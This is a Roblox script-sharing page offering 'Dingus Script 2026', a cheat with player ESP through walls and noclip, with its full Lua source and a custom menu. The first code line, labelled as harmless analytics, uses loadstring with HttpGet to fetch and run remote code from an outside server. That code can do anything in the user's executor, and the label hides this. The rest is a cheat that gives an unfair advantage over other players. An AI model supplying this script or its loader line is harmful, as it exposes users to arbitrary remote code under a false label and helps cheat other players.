Advertisements
Quick Actions
Description
Dingus Script 2026 provides useful utility and exploration features designed to improve map awareness, navigation, and overall gameplay efficiency. This script includes ESP functionality, allowing players to see important targets, characters, and objects through walls and obstacles. ESP improves visibility across the map and helps players locate objectives more efficiently during gameplay. The script also features Noclip, enabling players to move through walls, structures, and other obstacles without restrictions. This allows faster exploration, easier navigation, and access to areas that may normally be difficult to reach. Together, these features help improve movement freedom and situational awareness throughout the game. Built for smooth execution and stable performance, Dingus Script 2026 is suitable for players looking to enhance exploration, improve visibility, and streamline gameplay. With lightweight utility features and easy setup, this script supports a more efficient Roblox experience.
Advertisements
Features
- esp
- noclip
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/JJhxLxmE?v=1"))()end);--=== Does not affect the script ===---- DINGUS ULTIMATE SCRIPT
-- Features: ESP (Custom Color), Noclip (N key)
-- Open Menu: RIGHT SHIFT
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInput = game:GetService("UserInputService")
local lp = Players.LocalPlayer
-- ========================== SETTINGS ==========================
local settings = {
esp = false,
noclip = false,
espColor = Color3.fromRGB(255, 0, 0)
}
-- ========================== ESP (CUSTOM COLOR) ==========================
local espHighlights = {}
local function removeESP(plr)
if espHighlights[plr] then
pcall(function() espHighlights[plr]:Destroy() end)
espHighlights[plr] = nil
end
end
local function addESP(plr)
if not settings.esp then return end
if plr == lp then return end
if not plr.Character then return end
local hl = Instance.new("Highlight")
hl.FillTransparency = 0.7
hl.OutlineTransparency = 0.2
hl.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop
hl.OutlineColor = settings.espColor
hl.FillColor = settings.espColor
hl.Parent = plr.Character
espHighlights[plr] = hl
end
local function onCharacterAdded(plr, char)
task.wait(0.3)
if settings.esp and plr ~= lp then
removeESP(plr)
local hl = Instance.new("Highlight")
hl.FillTransparency = 0.7
hl.OutlineTransparency = 0.2
hl.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop
hl.OutlineColor = settings.espColor
hl.FillColor = settings.espColor
hl.Parent = char
espHighlights[plr] = hl
end
end
-- Подписка для существующих игроков
for _, plr in pairs(Players:GetPlayers()) do
if plr ~= lp then
plr.CharacterAdded:Connect(function(char)
onCharacterAdded(plr, char)
end)
if plr.Character then
task.wait(0.3)
addESP(plr)
end
end
end
-- Подписка для новых игроков
Players.PlayerAdded:Connect(function(plr)
if plr ~= lp then
plr.CharacterAdded:Connect(function(char)
onCharacterAdded(plr, char)
end)
if plr.Character then
task.wait(0.3)
addESP(plr)
end
end
end)
-- Обновление ESP в цикле
local function updateESP()
if not settings.esp then
for _, hl in pairs(espHighlights) do
pcall(function() hl:Destroy() end)
end
espHighlights = {}
return
end
for _, plr in pairs(Players:GetPlayers()) do
if plr ~= lp then
if plr.Character and not espHighlights[plr] then
addESP(plr)
elseif not plr.Character and espHighlights[plr] then
removeESP(plr)
end
end
end
end
-- ========================== NOCLIP (ИСПРАВЛЕННЫЙ) ==========================
local noclipConnection = nil
local function startNoclip()
if noclipConnection then return end
noclipConnection = RunService.Stepped:Connect(function()
if not settings.noclip then return end
local char = lp.Character
if char then
for _, v in pairs(char:GetDescendants()) do
if v:IsA("BasePart") then
v.CanCollide = false
end
end
end
end)
end
local function stopNoclip()
if noclipConnection then
noclipConnection:Disconnect()
noclipConnection = nil
end
-- Восстанавливаем коллизию
local char = lp.Character
if char then
for _, v in pairs(char:GetDescendants()) do
if v:IsA("BasePart") then
v.CanCollide = true
end
end
end
end
-- ========================== KEYBINDS ==========================
UserInput.InputBegan:Connect(function(input)
if input.KeyCode == Enum.KeyCode.N then
settings.noclip = not settings.noclip
if settings.noclip then
startNoclip()
else
stopNoclip()
end
if noclipToggleBtn then
local state = settings.noclip and "ON" or "OFF"
local icon = settings.noclip and "●" or "◉"
noclipToggleBtn.Text = icon .. " Noclip " .. state
noclipToggleBtn.TextColor3 = settings.noclip and Color3.fromRGB(120, 255, 120) or Color3.fromRGB(220, 220, 230)
noclipToggleBtn.BackgroundColor3 = settings.noclip and Color3.fromRGB(60, 50, 100) or Color3.fromRGB(35, 32, 60)
end
end
end)
-- При респавне перезапускаем noclip если включен
lp.CharacterAdded:Connect(function()
if settings.noclip then
stopNoclip()
task.wait(0.5)
startNoclip()
end
end)
-- Запускаем стартовый цикл (но он не будет ничего делать пока noclip выключен)
startNoclip()
-- ========================== MAIN LOOP ==========================
RunService.RenderStepped:Connect(function()
pcall(function()
updateESP()
end)
end)
-- ========================== BEAUTIFUL MENU ==========================
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "DingusMenu"
screenGui.Parent = game:GetService("CoreGui")
screenGui.IgnoreGuiInset = true
screenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
-- Main Frame
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 450, 0, 460)
mainFrame.Position = UDim2.new(0.5, -225, 0.5, -230)
mainFrame.BackgroundColor3 = Color3.fromRGB(15, 15, 30)
mainFrame.BackgroundTransparency = 0.08
mainFrame.BorderSizePixel = 0
mainFrame.ClipsDescendants = true
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Visible = false
mainFrame.Parent = screenGui
local mainCorner = Instance.new("UICorner")
mainCorner.CornerRadius = UDim.new(0, 14)
mainCorner.Parent = mainFrame
local mainGradient = Instance.new("UIGradient")
mainGradient.Color = ColorSequence.new{
ColorSequenceKeypoint.new(0, Color3.fromRGB(25, 20, 45)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(15, 15, 30))
}
mainGradient.Parent = mainFrame
-- Glow Border
local glowBorder = Instance.new("Frame")
glowBorder.Size = UDim2.new(1, 4, 1, 4)
glowBorder.Position = UDim2.new(0.5, -2, 0.5, -2)
glowBorder.BackgroundColor3 = Color3.fromRGB(100, 70, 160)
glowBorder.BackgroundTransparency = 0.95
glowBorder.BorderSizePixel = 0
glowBorder.ZIndex = 0
glowBorder.Parent = mainFrame
local glowCorner = Instance.new("UICorner")
glowCorner.CornerRadius = UDim.new(0, 16)
glowCorner.Parent = glowBorder
-- Header
local header = Instance.new("Frame")
header.Size = UDim2.new(1, 0, 0, 60)
header.BackgroundColor3 = Color3.fromRGB(45, 35, 80)
header.BorderSizePixel = 0
header.Parent = mainFrame
local headerCorner = Instance.new("UICorner")
headerCorner.CornerRadius = UDim.new(0, 14)
headerCorner.Parent = header
local headerGradient = Instance.new("UIGradient")
headerGradient.Color = ColorSequence.new{
ColorSequenceKeypoint.new(0, Color3.fromRGB(80, 55, 140)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(45, 35, 80))
}
headerGradient.Parent = header
local titleShadow = Instance.new("TextLabel")
titleShadow.Size = UDim2.new(1, 2, 1, 2)
titleShadow.Position = UDim2.new(0, 1, 0, 1)
titleShadow.Text = "DINGUS ULTIMATE"
titleShadow.TextColor3 = Color3.fromRGB(0, 0, 0)
titleShadow.BackgroundTransparency = 1
titleShadow.Font = Enum.Font.GothamBold
titleShadow.TextSize = 20
titleShadow.TextTransparency = 0.7
titleShadow.Parent = header
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 1, 0)
title.Text = "DINGUS ULTIMATE"
title.TextColor3 = Color3.fromRGB(255, 220, 100)
title.BackgroundTransparency = 1
title.Font = Enum.Font.GothamBold
title.TextSize = 20
title.Parent = header
local subtitle = Instance.new("TextLabel")
subtitle.Size = UDim2.new(1, 0, 0, 20)
subtitle.Position = UDim2.new(0, 0, 1, -22)
subtitle.Text = "ESP | Noclip"
subtitle.TextColor3 = Color3.fromRGB(180, 160, 220)
subtitle.BackgroundTransparency = 1
subtitle.Font = Enum.Font.Gotham
subtitle.TextSize = 11
subtitle.Parent = header
local divider = Instance.new("Frame")
divider.Size = UDim2.new(1, -40, 0, 2)
divider.Position = UDim2.new(0, 20, 0, 75)
divider.BackgroundColor3 = Color3.fromRGB(80, 65, 140)
divider.BorderSizePixel = 0
divider.Parent = mainFrame
local dividerCorner = Instance.new("UICorner")
dividerCorner.CornerRadius = UDim.new(1, 0)
dividerCorner.Parent = divider
-- Scroll Frame
local scrollFrame = Instance.new("ScrollingFrame")
scrollFrame.Size = UDim2.new(1, 0, 1, -90)
scrollFrame.Position = UDim2.new(0, 0, 0, 85)
scrollFrame.BackgroundTransparency = 1
scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 400)
scrollFrame.ScrollBarThickness = 4
scrollFrame.ScrollBarImageColor3 = Color3.fromRGB(100, 80, 160)
scrollFrame.Parent = mainFrame
local function createCategory(titleText, yPos)
local category = Instance.new("Frame")
category.Size = UDim2.new(1, -40, 0, 35)
category.Position = UDim2.new(0, 20, 0, yPos)
category.BackgroundColor3 = Color3.fromRGB(28, 25, 50)
category.BorderSizePixel = 0
category.Parent = scrollFrame
local catCorner = Instance.new("UICorner")
catCorner.CornerRadius = UDim.new(0, 8)
catCorner.Parent = category
local catTitle = Instance.new("TextLabel")
catTitle.Size = UDim2.new(1, -20, 1, 0)
catTitle.Position = UDim2.new(0, 10, 0, 0)
catTitle.Text = titleText
catTitle.TextColor3 = Color3.fromRGB(220, 200, 255)
catTitle.BackgroundTransparency = 1
catTitle.Font = Enum.Font.GothamBold
catTitle.TextSize = 13
catTitle.TextXAlignment = Enum.TextXAlignment.Left
catTitle.Parent = category
return category
end
local function createToggle(text, setting, yPos)
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0, 200, 0, 38)
btn.Position = UDim2.new(0, 20, 0, yPos)
btn.Text = "◉ " .. text .. " OFF"
btn.TextColor3 = Color3.fromRGB(220, 220, 230)
btn.BackgroundColor3 = Color3.fromRGB(35, 32, 60)
btn.BorderSizePixel = 0
btn.Font = Enum.Font.Gotham
btn.TextSize = 13
btn.TextXAlignment = Enum.TextXAlignment.Left
btn.Parent = scrollFrame
local btnCorner = Instance.new("UICorner")
btnCorner.CornerRadius = UDim.new(0, 8)
btnCorner.Parent = btn
local btnGradient = Instance.new("UIGradient")
btnGradient.Color = ColorSequence.new{
ColorSequenceKeypoint.new(0, Color3.fromRGB(55, 45, 90)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(35, 32, 60))
}
btnGradient.Parent = btn
btn.MouseButton1Click:Connect(function()
settings[setting] = not settings[setting]
local state = settings[setting] and "ON" or "OFF"
local icon = settings[setting] and "●" or "◉"
btn.Text = icon .. " " .. text .. " " .. state
btn.TextColor3 = settings[setting] and Color3.fromRGB(120, 255, 120) or Color3.fromRGB(220, 220, 230)
btn.BackgroundColor3 = settings[setting] and Color3.fromRGB(60, 50, 100) or Color3.fromRGB(35, 32, 60)
if setting == "esp" then
if not settings.esp then
for _, hl in pairs(espHighlights) do
pcall(function() hl:Destroy() end)
end
espHighlights = {}
else
for _, plr in pairs(Players:GetPlayers()) do
if plr ~= lp and plr.Character then
local hl = Instance.new("Highlight")
hl.FillTransparency = 0.7
hl.OutlineTransparency = 0.2
hl.DepthMode = Enum.HighlightDepthMode.AlwaysOnTop
hl.OutlineColor = settings.espColor
hl.FillColor = settings.espColor
hl.Parent = plr.Character
espHighlights[plr] = hl
end
end
end
end
if setting == "noclip" then
if settings.noclip then
startNoclip()
else
stopNoclip()
end
end
end)
return btn
end
local function createColorPicker(text, setting, yPos)
local frame = Instance.new("Frame")
frame.Size = UDim2.new(0, 410, 0, 70)
frame.Position = UDim2.new(0, 20, 0, yPos)
frame.BackgroundTransparency = 1
frame.Parent = scrollFrame
local label = Instance.new("TextLabel")
label.Size = UDim2.new(0, 100, 0, 25)
label.Position = UDim2.new(0, 0, 0, 0)
label.Text = text
label.TextColor3 = Color3.fromRGB(200, 200, 210)
label.BackgroundTransparency = 1
label.Font = Enum.Font.Gotham
label.TextSize = 12
label.TextXAlignment = Enum.TextXAlignment.Left
label.Parent = frame
local btnContainer = Instance.new("Frame")
btnContainer.Size = UDim2.new(0, 310, 0, 45)
btnContainer.Position = UDim2.new(0, 100, 0, 15)
btnContainer.BackgroundTransparency = 1
btnContainer.Parent = frame
local listLayout = Instance.new("UIListLayout")
listLayout.FillDirection = Enum.FillDirection.Horizontal
listLayout.HorizontalAlignment = Enum.HorizontalAlignment.Left
listLayout.VerticalAlignment = Enum.VerticalAlignment.Top
listLayout.Padding = UDim.new(0, 6)
listLayout.Parent = btnContainer
local colors = {
{name = "RED", color = Color3.fromRGB(255, 0, 0)},
{name = "GREEN", color = Color3.fromRGB(0, 255, 0)},
{name = "BLUE", color = Color3.fromRGB(0, 100, 255)},
{name = "YELLOW", color = Color3.fromRGB(255, 200, 0)},
{name = "PURPLE", color = Color3.fromRGB(160, 0, 255)}
}
for _, col in ipairs(colors) do
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(0, 55, 0, 28)
btn.Text = col.name
btn.TextColor3 = col.name == "WHITE" and Color3.fromRGB(0, 0, 0) or Color3.fromRGB(255, 255, 255)
btn.BackgroundColor3 = col.color
btn.BorderSizePixel = 0
btn.Font = Enum.Font.GothamBold
btn.TextSize = 9
btn.Parent = btnContainer
local btnCorner = Instance.new("UICorner")
btnCorner.CornerRadius = UDim.new(0, 6)
btnCorner.Parent = btn
btn.MouseButton1Click:Connect(function()
settings[setting] = col.color
for _, hl in pairs(espHighlights) do
pcall(function()
hl.OutlineColor = col.color
hl.FillColor = col.color
end)
end
end)
end
return frame
end
-- Build Menu
local y = 10
createCategory("👁️ VISUALS", y)
y = y + 43
createToggle("ESP", "esp", y)
y = y + 46
createColorPicker("ESP Color", "espColor", y)
y = y + 80
createCategory("🌀 MOVEMENT", y)
y = y + 43
noclipToggleBtn = createToggle("Noclip (N key)", "noclip", y)
-- Info Card
local infoCard = Instance.new("Frame")
infoCard.Size = UDim2.new(1, -40, 0, 60)
infoCard.Position = UDim2.new(0, 20, 0, y + 55)
infoCard.BackgroundColor3 = Color3.fromRGB(25, 22, 45)
infoCard.BorderSizePixel = 0
infoCard.Parent = scrollFrame
local infoCorner = Instance.new("UICorner")
infoCorner.CornerRadius = UDim.new(0, 8)
infoCorner.Parent = infoCard
local infoText = Instance.new("TextLabel")
infoText.Size = UDim2.new(1, -10, 1, 0)
infoText.Position = UDim2.new(0, 5, 0, 5)
infoText.Text = "⚡ Noclip: клавиша N (вкл/выкл)\n⚡ ESP: подсветка игроков (цвет можно менять)"
infoText.TextColor3 = Color3.fromRGB(180, 160, 200)
infoText.BackgroundTransparency = 1
infoText.Font = Enum.Font.Gotham
infoText.TextSize = 11
infoText.TextXAlignment = Enum.TextXAlignment.Left
infoText.Parent = infoCard
scrollFrame.CanvasSize = UDim2.new(0, 0, 0, y + 130)
-- Footer
local footer = Instance.new("Frame")
footer.Size = UDim2.new(1, 0, 0, 35)
footer.Position = UDim2.new(0, 0, 1, -35)
footer.BackgroundColor3 = Color3.fromRGB(25, 22, 45)
footer.BorderSizePixel = 0
footer.Parent = mainFrame
local footerText = Instance.new("TextLabel")
footerText.Size = UDim2.new(1, 0, 1, 0)
footerText.Text = "MENU: RIGHT SHIFT | N - Noclip"
footerText.TextColor3 = Color3.fromRGB(140, 120, 180)
footerText.BackgroundTransparency = 1
footerText.Font = Enum.Font.Gotham
footerText.TextSize = 11
footerText.Parent = footer
local toggleHint = Instance.new("TextLabel")
toggleHint.Size = UDim2.new(0, 100, 0, 25)
toggleHint.Position = UDim2.new(1, -110, 0, 15)
toggleHint.Text = "RIGHT SHIFT"
toggleHint.TextColor3 = Color3.fromRGB(100, 80, 160)
toggleHint.BackgroundColor3 = Color3.fromRGB(25, 22, 45)
toggleHint.BorderSizePixel = 0
toggleHint.Font = Enum.Font.GothamBold
toggleHint.TextSize = 10
toggleHint.Parent = header
local hintCorner = Instance.new("UICorner")
hintCorner.CornerRadius = UDim.new(0, 6)
hintCorner.Parent = toggleHint
UserInput.InputBegan:Connect(function(input)
if input.KeyCode == Enum.KeyCode.RightShift then
mainFrame.Visible = not mainFrame.Visible
end
end)
print("=" .. string.rep("=", 50))
print("DINGUS ULTIMATE SCRIPT LOADED")
print("Noclip: N (вкл/выкл) - теперь выключается полностью")
print("ESP работает после каждой катки")
print("Open menu: RIGHT SHIFT")
print("=" .. string.rep("=", 50))Quick Actions
Similar Scripts
The Lost Front Script: Aimbot, Player ESP, Gun ESP, FPV ESP, Unhook
1K4 months ago
Simple GUI Script : Fly, ESP, Fling, Player Tools (2026)
389about 2 months ago
Paint and Seek Script : Player ESP, NoClip, WalkSpeed (2026)
2784 months ago
TSUM Script 2026 - ESP, Autofarm Items
1.1K4 months ago
Run a Restaurant Script 2026 - Autofarm, Auto Cook, Auto Harvest, Auto Quests
8345 months ago
Advertisements
Comments
0Did it work for you? Sign in to share your experience.
No comments yet
Tried it? Let others know if it works.